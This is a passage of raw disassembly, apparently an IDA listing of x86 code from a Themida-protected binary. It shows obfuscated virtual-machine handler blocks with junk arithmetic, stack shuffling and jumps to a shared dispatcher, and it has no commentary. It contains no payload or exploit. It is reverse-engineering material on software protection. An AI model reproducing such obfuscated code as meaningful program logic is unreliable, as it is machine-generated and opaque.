; ---------------------------------------------------------------------------
loc_59D34B: ; CODE XREF: Themida_:005A0C89j
mov ebp, 52712F43h
sub esi, ebp
jmp loc_59FADF
; ---------------------------------------------------------------------------
loc_59D357: ; CODE XREF: Themida_:00590D76j
sub esi, edi
pop edi
push 55D2h
mov [esp], esi
pop ecx
jmp loc_593DBC
; ---------------------------------------------------------------------------
loc_59D368: ; CODE XREF: Themida_:00592574j
push esi
jmp loc_59AE78
; ---------------------------------------------------------------------------
loc_59D36E: ; CODE XREF: Themida_:005A0403j
mov ebx, 38701DFBh
push ebp
push eax
push 58B67011h
push dword ptr [esp]
pop eax
push edx
mov edx, esp
add edx, 4
jmp loc_591BAF
; ---------------------------------------------------------------------------
loc_59D38C: ; CODE XREF: Themida_:005A2ED0j
xchg eax, [esp]
jmp loc_59A22D
; ---------------------------------------------------------------------------
loc_59D394: ; CODE XREF: Themida_:005A1F26j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
pop esi
push ebx
mov ebx, esp
jmp loc_5A0520
; ---------------------------------------------------------------------------
loc_59D3BA: ; CODE XREF: Themida_:00595E65j
add ebx, edx
sub ebx, 41A63633h
jmp loc_59FD0B
; ---------------------------------------------------------------------------
loc_59D3C7: ; CODE XREF: Themida_:005A3344j
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
mov ebp, ebx
mov edx, ebp
jmp loc_59B471
; ---------------------------------------------------------------------------
loc_59D3E3: ; CODE XREF: Themida_:005A462Ej
pop eax
add eax, 4
push edi
jmp loc_591147
; ---------------------------------------------------------------------------
loc_59D3EF: ; CODE XREF: Themida_:005A49B4j
mov ebx, edx
pop edx
jmp loc_5A34F6
; ---------------------------------------------------------------------------
loc_59D3F7: ; CODE XREF: Themida_:00599BECj
mov ebp, 724D4608h
shl ebp, 5
jmp loc_5960BB
; ---------------------------------------------------------------------------
loc_59D404: ; CODE XREF: Themida_:005914EBj
xor eax, ecx
jmp loc_59945B
; ---------------------------------------------------------------------------
loc_59D40B: ; CODE XREF: Themida_:0059DC56j
sub ebx, 4
xchg ebx, [esp]
jmp loc_59E4E7
; ---------------------------------------------------------------------------
loc_59D419: ; CODE XREF: Themida_:005A4611j
sub esp, 4
jmp loc_597382
; ---------------------------------------------------------------------------
loc_59D424: ; CODE XREF: Themida_:005A2059j
xor ebp, 4FCF5DD2h
jmp loc_5921C7
; ---------------------------------------------------------------------------
loc_59D42F: ; CODE XREF: Themida_:00594AADj
add [esp+4], edi
pop edi
pop ecx
push ebx
jmp loc_59C8D6
; ---------------------------------------------------------------------------
loc_59D43B: ; CODE XREF: Themida_:0059C60Ej
mov edi, [esp]
add esp, 4
add esi, ebp
mov ebp, [esp]
jmp loc_5934DE
; ---------------------------------------------------------------------------
loc_59D44B: ; CODE XREF: Themida_:00594F04j
pop ecx
push 4CA8h
mov [esp], edx
mov dh, 11h
push ecx
jmp loc_597D45
; ---------------------------------------------------------------------------
loc_59D45C: ; CODE XREF: Themida_:0059F64Fj
mov eax, 15B562F1h
push edi
mov edi, 747D758Bh
xor eax, edi
pop edi
neg eax
push ebp
push esi
push 41646D57h
mov esi, [esp]
add esp, 4
not esi
push edx
mov edx, 2C89286Fh
xor edx, 62F54070h
not edx
sub edx, 4BF668FDh
and esi, edx
jmp loc_59B60E
; ---------------------------------------------------------------------------
loc_59D499: ; CODE XREF: Themida_:005A1017j
xor ebx, 0DAD64E0h
not ebx
shl ebx, 4
jmp loc_59623D
; ---------------------------------------------------------------------------
loc_59D4A9: ; CODE XREF: Themida_:0059C416j
not ecx
jmp loc_596575
; ---------------------------------------------------------------------------
loc_59D4B0: ; CODE XREF: Themida_:00591F7Aj
add eax, 4
xchg eax, [esp]
pop esp
sub ecx, ebx
pop ebx
xor ecx, [esp]
xor [esp], ecx
jmp loc_5A52CA
; ---------------------------------------------------------------------------
loc_59D4C5: ; CODE XREF: Themida_:00591FA6j
mov [esp], esi
jmp loc_5935D8
; ---------------------------------------------------------------------------
loc_59D4CD: ; CODE XREF: Themida_:00596B30j
push 501Fh
jmp loc_599BF1
; ---------------------------------------------------------------------------
loc_59D4D7: ; CODE XREF: Themida_:00599A97j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_59108D
; ---------------------------------------------------------------------------
loc_59D4E8: ; CODE XREF: Themida_:005A4783j
mov edx, [esp]
add esp, 4
jmp loc_5A0BF9
; ---------------------------------------------------------------------------
loc_59D4F3: ; CODE XREF: Themida_:00594C66j
xor edi, [esp]
mov esp, [esp]
mov [esp], ecx
push 1
jmp loc_59395B
; ---------------------------------------------------------------------------
loc_59D506: ; CODE XREF: Themida_:00596C42j
pop ebx
dec ebx
push 40Fh
mov [esp], edi
jmp loc_5903F3
; ---------------------------------------------------------------------------
loc_59D515: ; CODE XREF: Themida_:0059777Fj
mov ebp, 5D0E22ECh
jmp loc_59BFE1
; ---------------------------------------------------------------------------
loc_59D51F: ; CODE XREF: Themida_:0059DB85j
sub edx, ebx
jmp loc_5A2D42
; ---------------------------------------------------------------------------
loc_59D526: ; CODE XREF: Themida_:005A386Cj
add ebp, esi
sub ebp, 5C692305h
jmp loc_599EEA
; ---------------------------------------------------------------------------
loc_59D533: ; CODE XREF: Themida_:005A21C1j
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59D547: ; CODE XREF: Themida_:0059F46Ej
mov ecx, 4
add ebx, ecx
pop ecx
xchg ebx, [esp]
mov esp, [esp]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59D55A: ; CODE XREF: Themida_:0059CC6Dj
push ecx
jmp loc_599E45
; ---------------------------------------------------------------------------
loc_59D560: ; CODE XREF: Themida_:005A52EFj
add esp, 4
push ebx
jmp loc_597CDD
; ---------------------------------------------------------------------------
loc_59D56C: ; CODE XREF: Themida_:005A1FE9j
push edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 398B1ACFh
xor ecx, 4F6A73B7h
not ecx
inc ecx
xor ecx, 891E968Ch
sub edx, ecx
pop ecx
xchg edx, [esp]
mov esp, [esp]
jmp loc_590827
; ---------------------------------------------------------------------------
loc_59D598: ; CODE XREF: Themida_:00591D3Fj
push edx
mov edx, 36C36AD3h
jmp loc_598DBF
; ---------------------------------------------------------------------------
loc_59D5A3: ; CODE XREF: Themida_:00596D92j
or ecx, 6D680088h
add ecx, 9293CE6Ah
add eax, ecx
pop ecx
push eax
jmp loc_5A4CDF
; ---------------------------------------------------------------------------
loc_59D5B8: ; CODE XREF: Themida_:00590B57j
mov dh, cl
jmp loc_59C3B2
; ---------------------------------------------------------------------------
loc_59D5BF: ; CODE XREF: Themida_:005A2756j
add esp, 4
push dx
jmp loc_5A3EC0
; ---------------------------------------------------------------------------
loc_59D5CC: ; CODE XREF: Themida_:005A29CDj
mov [esp], eax
mov eax, 3A203C6Ch
shr eax, 2
dec eax
push esi
mov esi, 3A90527Fh
shl esi, 2
and esi, 4A620228h
not esi
xor esi, 0BD0C6A77h
sub eax, esi
jmp loc_597D54
; ---------------------------------------------------------------------------
loc_59D5F6: ; CODE XREF: Themida_:0059825Cj
mov edx, 1
add ebp, edx
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
push edx
jmp loc_59AD98
; ---------------------------------------------------------------------------
loc_59D615: ; CODE XREF: Themida_:0059E4E2j
push 3F25h
mov [esp], edi
mov edi, 51CA6F61h
xor edx, edi
push dword ptr [esp]
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
push eax
push esi
mov esi, 4
mov eax, esi
pop esi
add ebp, eax
jmp loc_5983CE
; ---------------------------------------------------------------------------
loc_59D64D: ; CODE XREF: Themida_:0059232Bj
pop eax
jmp loc_5950B6
; ---------------------------------------------------------------------------
loc_59D653: ; CODE XREF: Themida_:00594BBCj
add ebp, 4
xchg ebp, [esp]
pop esp
push 70ACh
jmp loc_59AD89
; ---------------------------------------------------------------------------
loc_59D667: ; CODE XREF: Themida_:00597E74j
mov esi, 278D7D55h
shr esi, 8
push ebx
mov ebx, 76208E6h
xor esi, ebx
pop ebx
shr esi, 6
dec esi
jmp loc_59D76B
; ---------------------------------------------------------------------------
loc_59D681: ; CODE XREF: Themida_:0059EF4Ej
xor esi, 221927BEh
add esi, 15D0213Ah
add eax, esi
pop esi
push 2C27h
mov [esp], ebx
mov ebx, 2
jmp loc_59BEFF
; ---------------------------------------------------------------------------
loc_59D6A2: ; CODE XREF: Themida_:0059683Ej
mov al, 0CDh
mov bl, al
jmp loc_59997C
; ---------------------------------------------------------------------------
loc_59D6AB: ; CODE XREF: Themida_:00595493j
add dword ptr [esp], 4
pop edi
push ebx
mov ebx, 0DE1210Eh
push edi
mov edi, 0CFE7DFBh
add edi, 1B9FDEF5h
jmp loc_594A34
; ---------------------------------------------------------------------------
loc_59D6CA: ; CODE XREF: Themida_:00598DDDj
xchg ebx, [esp]
pop esp
push ebp
mov ebp, 3ADC6D98h
inc ebp
or ebp, 50C227FDh
xor ebp, 5DF53C66h
push ecx
push ebx
push 70D94265h
pop ebx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_5A13C0
; ---------------------------------------------------------------------------
loc_59D6FF: ; CODE XREF: Themida_:005A4EEAj
mov esi, 0E2402DD4h
sub eax, esi
pop esi
sub esi, eax
mov eax, [esp]
jmp loc_59C0F4
; ---------------------------------------------------------------------------
loc_59D711: ; CODE XREF: Themida_:00598582j
pop dword ptr [esp]
pop esp
sub esp, 4
jmp loc_59FBE2
; ---------------------------------------------------------------------------
loc_59D720: ; CODE XREF: Themida_:00599E70j
sub dword ptr [esp+4], 6A1256E6h
jmp loc_59CECB
; ---------------------------------------------------------------------------
loc_59D72D: ; CODE XREF: Themida_:005932D8j
add esp, 4
xor ebx, 751D641h
add eax, ebx
mov ebx, [esp]
push edi
push 66ADh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5A3F44
; ---------------------------------------------------------------------------
loc_59D74E: ; CODE XREF: Themida_:0059F404j
neg ebp
jmp loc_5A2E95
; ---------------------------------------------------------------------------
loc_59D755: ; CODE XREF: Themida_:0059B609j
sub esp, 4
mov [esp], ebx
push eax
mov eax, 0D771E6Ch
shl eax, 3
not eax
jmp loc_5925BB
; ---------------------------------------------------------------------------
loc_59D76B: ; CODE XREF: Themida_:0059D67Cj
add esi, 899A03C9h
sub eax, esi
push dword ptr [esp]
pop esi
jmp loc_59B539
; ---------------------------------------------------------------------------
loc_59D77C: ; CODE XREF: Themida_:0059DA64j
mov edx, [esp]
add esp, 4
jmp loc_597BA1
; ---------------------------------------------------------------------------
loc_59D787: ; CODE XREF: Themida_:0059CF40j
pop esp
sar word ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59D792: ; CODE XREF: Themida_:0059170Aj
add esp, 4
jmp loc_590E9A
; ---------------------------------------------------------------------------
loc_59D79A: ; CODE XREF: Themida_:0059D0AAj
mov [esp], ebp
jmp loc_593BCD
; ---------------------------------------------------------------------------
loc_59D7A2: ; CODE XREF: Themida_:00596D9Dj
and ecx, 4992595Dh
add ecx, 0F97D67B2h
add ebp, ecx
jmp loc_595F0F
; ---------------------------------------------------------------------------
loc_59D7B5: ; CODE XREF: Themida_:0059076Dj
sub al, 0D7h
xor cl, al
jmp loc_5A09B1
; ---------------------------------------------------------------------------
loc_59D7BE: ; CODE XREF: Themida_:005A4337j
mov [esp], ecx
mov ch, dl
jmp loc_5A2116
; ---------------------------------------------------------------------------
loc_59D7C8: ; CODE XREF: Themida_:00594469j
not bl
push eax
mov ah, 0FDh
sub bl, ah
pop eax
sub bl, 0F9h
add al, bl
jmp loc_597960
; ---------------------------------------------------------------------------
loc_59D7DA: ; CODE XREF: Themida_:005A1914j
pop edi
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, esp
jmp loc_591E86
; ---------------------------------------------------------------------------
loc_59D7F4: ; CODE XREF: Themida_:00591C0Ej
mov esi, esp
jmp loc_596EDB
; ---------------------------------------------------------------------------
loc_59D7FB: ; CODE XREF: Themida_:00595932j
push ebp
mov ebp, 51647674h
dec ebp
neg ebp
jmp loc_59B1CD
; ---------------------------------------------------------------------------
mov cx, [esp]
push 685Bh
mov [esp], eax
jmp loc_59E3C0
; ---------------------------------------------------------------------------
loc_59D81A: ; CODE XREF: Themida_:005A1DF2j
add ebp, 730E074Fh
add ebp, 219A1C06h
jmp loc_5934AE
; ---------------------------------------------------------------------------
align 4
dd 32E952D8h
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_59D833: ; CODE XREF: Themida_:005940ABj
pop ebp
mov edx, [esp]
add esp, 4
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59D842: ; CODE XREF: Themida_:00596F37j
xor edx, [esp]
mov esp, [esp]
inc word ptr [esp]
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59D852: ; CODE XREF: Themida_:00599D44j
mov [esp], ecx
push 57D9h
mov [esp], ebp
mov ebp, 14505FDEh
jmp loc_592E3F
; ---------------------------------------------------------------------------
loc_59D867: ; CODE XREF: Themida_:0059166Cj
add ecx, ebx
mov ebx, [esp]
add esp, 4
add ecx, 4
jmp loc_59F5A6
; ---------------------------------------------------------------------------
loc_59D87A: ; CODE XREF: Themida_:0059B24Ej
push esi
mov esi, 363950C8h
shr esi, 6
push ebp
mov ebp, 5481450Dh
jmp loc_598499
; ---------------------------------------------------------------------------
loc_59D88E: ; CODE XREF: Themida_:00591FF1j
add esi, 3E20635Ch
jmp loc_59E580
; ---------------------------------------------------------------------------
loc_59D899: ; CODE XREF: Themida_:005A4C8Fj
mov edx, 30232A22h
or edx, 3D5A2198h
jmp loc_592D88
; ---------------------------------------------------------------------------
loc_59D8A9: ; CODE XREF: Themida_:005956C6j
inc cl
jmp loc_597B3D
; ---------------------------------------------------------------------------
loc_59D8B0: ; CODE XREF: Themida_:0059F31Dj
add eax, ebp
pop ebp
push ebx
jmp loc_5A1E0C
; ---------------------------------------------------------------------------
loc_59D8B9: ; CODE XREF: Themida_:0059BED1j
sub ebp, 215107F9h
add ebp, eax
add ebp, 215107F9h
pop eax
jmp loc_5A3C4E
; ---------------------------------------------------------------------------
loc_59D8CD: ; CODE XREF: Themida_:0059FC33j
add ebx, eax
pop eax
add edx, 30FA5D34h
add edx, ebx
jmp loc_598C7F
; ---------------------------------------------------------------------------
loc_59D8DD: ; CODE XREF: Themida_:00599734j
and ecx, 54316765h
jmp loc_5A01AB
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59D8EF: ; CODE XREF: Themida_:005A2E4Bj
xchg ebx, ecx
jmp loc_59C15A
; ---------------------------------------------------------------------------
loc_59D8F6: ; CODE XREF: Themida_:005934FFj
shr ebp, 5
jmp loc_59812A
; ---------------------------------------------------------------------------
loc_59D8FE: ; CODE XREF: Themida_:00594435j
push dword ptr [esp]
pop edx
push esi
jmp loc_5A232C
; ---------------------------------------------------------------------------
loc_59D908: ; CODE XREF: Themida_:0059C849j
sub edi, 1796DF3Eh
add eax, edi
pop edi
pop esi
push esi
mov esi, 2A8007EEh
and esi, 47336718h
push edx
mov edx, 720C0D4Dh
jmp loc_59C8BA
; ---------------------------------------------------------------------------
loc_59D929: ; CODE XREF: Themida_:0059C11Aj
xor eax, [esp]
mov esp, [esp]
mov ax, [esp]
push eax
mov eax, esp
push 1026h
mov [esp], edi
mov edi, 2D542898h
xor edi, 7F545F3Ch
sub edi, 7C50C1h
shr edi, 1
jmp loc_599D50
; ---------------------------------------------------------------------------
loc_59D956: ; CODE XREF: Themida_:0059B91Fj
add edi, 242458C9h
jmp loc_5946C4
; ---------------------------------------------------------------------------
loc_59D961: ; CODE XREF: Themida_:0059B7C3j
add cl, 0A2h
xor bl, cl
pop ecx
sub cl, 87h
jmp loc_594EF4
; ---------------------------------------------------------------------------
loc_59D96F: ; CODE XREF: Themida_:00596CABj
mov eax, 4
add ebx, eax
push dword ptr [esp]
jmp loc_599B3F
; ---------------------------------------------------------------------------
loc_59D97E: ; CODE XREF: Themida_:00594037j
mov [esp], ebp
sub esp, 4
mov [esp], edi
push ecx
mov ecx, 27DA58C9h
jmp loc_598970
; ---------------------------------------------------------------------------
loc_59D992: ; CODE XREF: Themida_:00595AEAj
add dl, 0FDh
or dl, 9Bh
xor dl, 1Eh
add al, dl
pop edx
add al, 0E9h
add al, bl
jmp loc_5A545A
; ---------------------------------------------------------------------------
loc_59D9A7: ; CODE XREF: Themida_:005A2ABCj
push dword ptr [esp]
pop edx
push ebx
jmp loc_5919AF
; ---------------------------------------------------------------------------
loc_59D9B1: ; CODE XREF: Themida_:00596FDCj
not dl
jmp loc_5A0073
; ---------------------------------------------------------------------------
loc_59D9B8: ; CODE XREF: Themida_:005A316Fj
pop eax
jmp loc_593CAB
; ---------------------------------------------------------------------------
loc_59D9BE: ; CODE XREF: Themida_:005909DAj
add edx, 7F0F4EB3h
pop eax
add edx, 2
jmp loc_5982E9
; ---------------------------------------------------------------------------
loc_59D9CD: ; CODE XREF: Themida_:0059B70Dj
pop ecx
add ebx, esi
pop esi
sub ebx, 4
xchg ebx, [esp]
pop esp
push esp
pop dword ptr [esp]
push ecx
jmp loc_5A53EF
; ---------------------------------------------------------------------------
loc_59D9E2: ; CODE XREF: Themida_:0059F3F3j
sub esp, 4
mov [esp], ecx
jmp loc_5A1C15
; ---------------------------------------------------------------------------
loc_59D9ED: ; CODE XREF: Themida_:0059AC65j
xor ch, 0EBh
add al, ch
pop ecx
jmp loc_5A4D9A
; ---------------------------------------------------------------------------
lodsb
jmp loc_59764F
; ---------------------------------------------------------------------------
loc_59D9FE: ; CODE XREF: Themida_:005A3A6Dj
add ecx, 4
xchg ecx, [esp]
pop esp
pop dword ptr [edx]
jmp loc_594FDA
; ---------------------------------------------------------------------------
loc_59DA0F: ; CODE XREF: Themida_:00595D60j
mov edx, [esp]
add esp, 4
pop edi
xor ebp, [esp]
jmp loc_59B663
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59DA2E: ; CODE XREF: Themida_:005A26D3j
mov [esp], ebp
jmp loc_5A1ECF
; ---------------------------------------------------------------------------
loc_59DA36: ; CODE XREF: Themida_:005A1CFFj
push ebx
jmp loc_59613F
; ---------------------------------------------------------------------------
loc_59DA3C: ; CODE XREF: Themida_:00594962j
mov edx, esp
jmp loc_59C6DD
; ---------------------------------------------------------------------------
loc_59DA43: ; CODE XREF: Themida_:0059AF5Cj
push edx
sub esp, 4
jmp loc_595F24
; ---------------------------------------------------------------------------
loc_59DA4C: ; CODE XREF: Themida_:00596C03j
add dl, bl
mov ebx, [esp]
add esp, 4
xor dl, 51h
sub dl, 53h
inc dl
add dl, 9Dh
sub al, dl
jmp loc_59D77C
; ---------------------------------------------------------------------------
loc_59DA69: ; CODE XREF: Themida_:0059B185j
sub edx, edi
pop edi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59DA80: ; CODE XREF: Themida_:0059984Bj
mov edi, esp
add edi, 4
push eax
mov eax, 680451E8h
shl eax, 1
shr eax, 3
not eax
sub eax, 0E5FEEB81h
jmp loc_59D144
; ---------------------------------------------------------------------------
loc_59DA9F: ; CODE XREF: Themida_:0059068Dj
push esi
mov esi, 4
add ebx, esi
pop esi
xchg ebx, [esp]
jmp loc_59CE8B
; ---------------------------------------------------------------------------
loc_59DAB0: ; CODE XREF: Themida_:00596BD9j
sub esi, 0FF9D508Ah
sub ecx, esi
pop esi
push edx
mov edx, 77A86023h
add eax, edx
pop edx
jmp loc_5A12C1
; ---------------------------------------------------------------------------
loc_59DAC7: ; CODE XREF: Themida_:0059992Dj
add eax, 12D278Ch
inc eax
inc eax
add eax, 2D3E161Ch
sub ecx, eax
pop eax
push ebp
push edx
mov edx, 64771022h
mov ebp, 51676D74h
xor ebp, edx
pop edx
not ebp
not ebp
add ebp, 71FEE2Fh
xor ecx, ebp
pop ebp
push edi
mov edi, 0ECBAD71Ah
add ecx, 531217FAh
jmp loc_5967B8
; ---------------------------------------------------------------------------
loc_59DB03: ; CODE XREF: Themida_:00598281j
mov eax, [esp]
add esp, 4
push ecx
sub esp, 4
mov [esp], ebx
push 23F0381Ah
jmp loc_593359
; ---------------------------------------------------------------------------
loc_59DB1D: ; CODE XREF: Themida_:0059A9F7j
or ebx, 60121298h
jmp loc_598F35
; ---------------------------------------------------------------------------
loc_59DB28: ; CODE XREF: Themida_:005A0B23j
pop ebx
jmp loc_59D034
; ---------------------------------------------------------------------------
loc_59DB2E: ; CODE XREF: Themida_:0059A907j
sub [esp+8], eax
pop eax
pop esi
jmp loc_5A21C6
; ---------------------------------------------------------------------------
loc_59DB39: ; CODE XREF: Themida_:0059B8EDj
xor edi, 0F5109CFh
push edx
push ebp
jmp loc_59734E
; ---------------------------------------------------------------------------
loc_59DB46: ; CODE XREF: Themida_:00598714j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59DB4B: ; CODE XREF: Themida_:005A26F9j
mov [esp], ebx
push edx
mov edx, 69724744h
jmp loc_59F7B0
; ---------------------------------------------------------------------------
loc_59DB59: ; CODE XREF: Themida_:00591792j
pop esi
xor esi, 37D827D7h
jmp loc_59C3D9
; ---------------------------------------------------------------------------
loc_59DB65: ; CODE XREF: Themida_:0059DD2Bj
pop edx
mov cl, ah
pop eax
xor bh, cl
mov ecx, [esp]
add esp, 4
add bh, 87h
and bh, 0F6h
shr bh, 7
jmp loc_59FFDA
; ---------------------------------------------------------------------------
loc_59DB7F: ; CODE XREF: Themida_:00598DBAj
sub ebx, 44FFFCh
jmp loc_59D51F
; ---------------------------------------------------------------------------
loc_59DB8A: ; CODE XREF: Themida_:0059840Bj
and esi, 5B4472B7h
sub esi, 0FF69D113h
sub ebx, esi
pop esi
sub ebx, 2E7E2B71h
add ebx, 5C2B0118h
add ebx, edi
sub ebx, 5C2B0118h
add ebx, 2E7E2B71h
add ebx, 599A4123h
sub ebx, 18D94C21h
jmp loc_5911BA
; ---------------------------------------------------------------------------
loc_59DBC4: ; CODE XREF: Themida_:005A469Fj
push small 62B4h
mov [esp], di
push small 75A2h
mov [esp], dx
mov di, [esp]
jmp loc_592B36
; ---------------------------------------------------------------------------
loc_59DBDD: ; CODE XREF: Themida_:00597880j
add esi, 17A504B3h
push dword ptr [esp]
push dword ptr [esp]
pop edx
jmp loc_590387
; ---------------------------------------------------------------------------
loc_59DBEF: ; CODE XREF: Themida_:00594471j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59DBF4: ; CODE XREF: Themida_:005909CFj
mov [esp], ecx
mov ecx, 13EB171Fh
push 3A7Bh
jmp loc_5964D5
; ---------------------------------------------------------------------------
loc_59DC06: ; CODE XREF: Themida_:00592CCCj
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59DC0B: ; CODE XREF: Themida_:0059A752j
mov ax, [esp]
push 4A75h
mov [esp], ebp
push 1E06h
mov [esp], esp
push edi
push ebx
mov ebx, 4
mov edi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_599401
; ---------------------------------------------------------------------------
loc_59DC33: ; CODE XREF: Themida_:00593505j
mov edx, 4F8438E8h
mov ecx, edx
pop edx
and ecx, 6DDE09FEh
or ecx, 540B59F2h
inc ecx
sub ecx, 5D8F59F7h
add ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_59D40B
; ---------------------------------------------------------------------------
loc_59DC5B: ; CODE XREF: Themida_:0059C3F0j
mov [esp], eax
push dword ptr [esp]
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], edi
jmp loc_59EC10
; ---------------------------------------------------------------------------
loc_59DC85: ; CODE XREF: Themida_:005A1744j
mov eax, 6FD60D4Ah
shl eax, 4
not eax
add eax, 3FF24822h
sub eax, 0CD6A914Eh
add ebp, eax
pop eax
jmp loc_597A8A
; ---------------------------------------------------------------------------
loc_59DCA1: ; CODE XREF: Themida_:00594D6Ej
xor esi, 0F75AB1C6h
jmp loc_59BEBE
; ---------------------------------------------------------------------------
loc_59DCAC: ; CODE XREF: Themida_:005A248Dj
mov ebp, eax
mov eax, [esp]
add esp, 4
jmp loc_596DA2
; ---------------------------------------------------------------------------
loc_59DCB9: ; CODE XREF: Themida_:00594C4Dj
mov esp, [esp]
imul cx
push ecx
jmp loc_5970CF
; ---------------------------------------------------------------------------
loc_59DCC5: ; CODE XREF: Themida_:005A2F71j
mov ebp, [esp]
add esp, 4
sub eax, esi
mov esi, [esp]
add esp, 4
jmp loc_5A1C56
; ---------------------------------------------------------------------------
loc_59DCDE: ; CODE XREF: Themida_:0059540Dj
mov ebx, 79C00864h
add ebx, 863FF7A0h
jmp loc_59BB20
; ---------------------------------------------------------------------------
loc_59DCEE: ; CODE XREF: Themida_:0059AE4Ej
pop ecx
push eax
xor dword ptr [esp], 30D70D9Eh
mov edx, [esp]
add esp, 4
push edi
jmp loc_59CCFF
; ---------------------------------------------------------------------------
mov ax, [esp]
push 13D7h
jmp loc_59A096
; ---------------------------------------------------------------------------
loc_59DD14: ; CODE XREF: Themida_:005A0E6Aj
not dh
dec dh
add dh, 3Bh
jmp loc_596036
; ---------------------------------------------------------------------------
loc_59DD20: ; CODE XREF: Themida_:005922ABj
not dl
inc dl
dec dl
add dl, 0D4h
add ah, dl
jmp loc_59DB65
; ---------------------------------------------------------------------------
loc_59DD30: ; CODE XREF: Themida_:005A4BE4j
xor esi, 7FBF7FAEh
push esi
pop ecx
pop esi
push ecx
jmp loc_59D343
; ---------------------------------------------------------------------------
loc_59DD3F: ; CODE XREF: Themida_:0059926Bj
shr edx, 7
sub edx, 786323D8h
jmp loc_595937
; ---------------------------------------------------------------------------
loc_59DD4D: ; CODE XREF: Themida_:00595C8Cj
push ebx
mov ebx, 61921C71h
push esi
mov esi, 27AE4C2Dh
jmp loc_59ADDD
; ---------------------------------------------------------------------------
loc_59DD5E: ; CODE XREF: Themida_:0059B4EFj
add bl, 0C9h
xor dh, bl
pop ebx
sub esp, 2
mov [esp], bx
jmp loc_59F3C8
; ---------------------------------------------------------------------------
loc_59DD70: ; CODE XREF: Themida_:00594E06j
xor eax, 69D35E05h
dec eax
and eax, 4D5B5AF1h
add eax, 0B3E4A5D3h
add esi, eax
pop eax
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
push edi
mov edi, 28D44CE8h
shl edi, 6
push 3Dh
mov [esp], eax
push ecx
push eax
jmp loc_593476
; ---------------------------------------------------------------------------
loc_59DDAD: ; CODE XREF: Themida_:005A0806j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59DDB2: ; CODE XREF: Themida_:00595A2Ej
xchg ah, dl
xchg cl, dl
jmp loc_59403C
; ---------------------------------------------------------------------------
loc_59DDBB: ; CODE XREF: Themida_:00593A4Cj
add dword ptr [esp], 4
push dword ptr [esp]
pop esi
jmp loc_59ABD7
; ---------------------------------------------------------------------------
loc_59DDC8: ; CODE XREF: Themida_:005A2F80j
shr ah, 2
sub ah, 2Fh
xor cl, ah
pop eax
sub esp, 2
mov [esp], bx
mov bl, 72h
jmp loc_5A3627
; ---------------------------------------------------------------------------
loc_59DDE2: ; CODE XREF: Themida_:005A17D1j
inc ebp
jmp loc_5929F0
; ---------------------------------------------------------------------------
loc_59DDE8: ; CODE XREF: Themida_:005A44CEj
mov ecx, [esp]
add esp, 4
sub dword ptr [esp], 154015Fh
sub [esp], eax
add dword ptr [esp], 154015Fh
sub esp, 4
jmp loc_599E68
; ---------------------------------------------------------------------------
loc_59DE07: ; CODE XREF: Themida_:00592294j
mov dl, bl
pop ebx
xor dl, ah
mov eax, [esp]
jmp loc_595A33
; ---------------------------------------------------------------------------
loc_59DE14: ; CODE XREF: Themida_:00591311j
push ebp
push edx
push edi
mov edi, 533959FEh
jmp loc_596A4D
; ---------------------------------------------------------------------------
loc_59DE21: ; CODE XREF: Themida_:00598232j
shl ebp, 6
jmp loc_59C42D
; ---------------------------------------------------------------------------
loc_59DE29: ; CODE XREF: Themida_:005A0EEBj
mov edx, esp
add edx, 4
add edx, 4
jmp loc_596EBC
; ---------------------------------------------------------------------------
loc_59DE3C: ; CODE XREF: Themida_:0059C5E8j
sub al, dl
add al, 81h
mov dx, [esp]
add esp, 2
sub esp, 4
mov [esp], edx
push eax
push ebx
jmp loc_5A3F9E
; ---------------------------------------------------------------------------
loc_59DE57: ; CODE XREF: Themida_:005A21C9j
add esp, 4
jmp loc_5A30D0
; ---------------------------------------------------------------------------
push 514Eh
mov [esp], ebp
sub esp, 4
mov [esp], esi
push ebp
jmp loc_59919B
; ---------------------------------------------------------------------------
loc_59DE73: ; CODE XREF: Themida_:0059E194j
add edi, 14BF23BFh
add edi, ebx
push eax
mov eax, 14BF23BFh
sub edi, eax
pop eax
add edi, 595675DAh
pop ebx
push ecx
push edx
mov edx, 71B73468h
dec edx
dec edx
add edx, 5E5A5BCDh
neg edx
xor edx, 2FEE6FC9h
mov ecx, edx
pop edx
add edi, ecx
push dword ptr [esp]
pop ecx
jmp loc_590C7F
; ---------------------------------------------------------------------------
loc_59DEB0: ; CODE XREF: Themida_:00591923j
pop ecx
sub cl, 23h
push ebx
push eax
mov al, 52h
mov bh, al
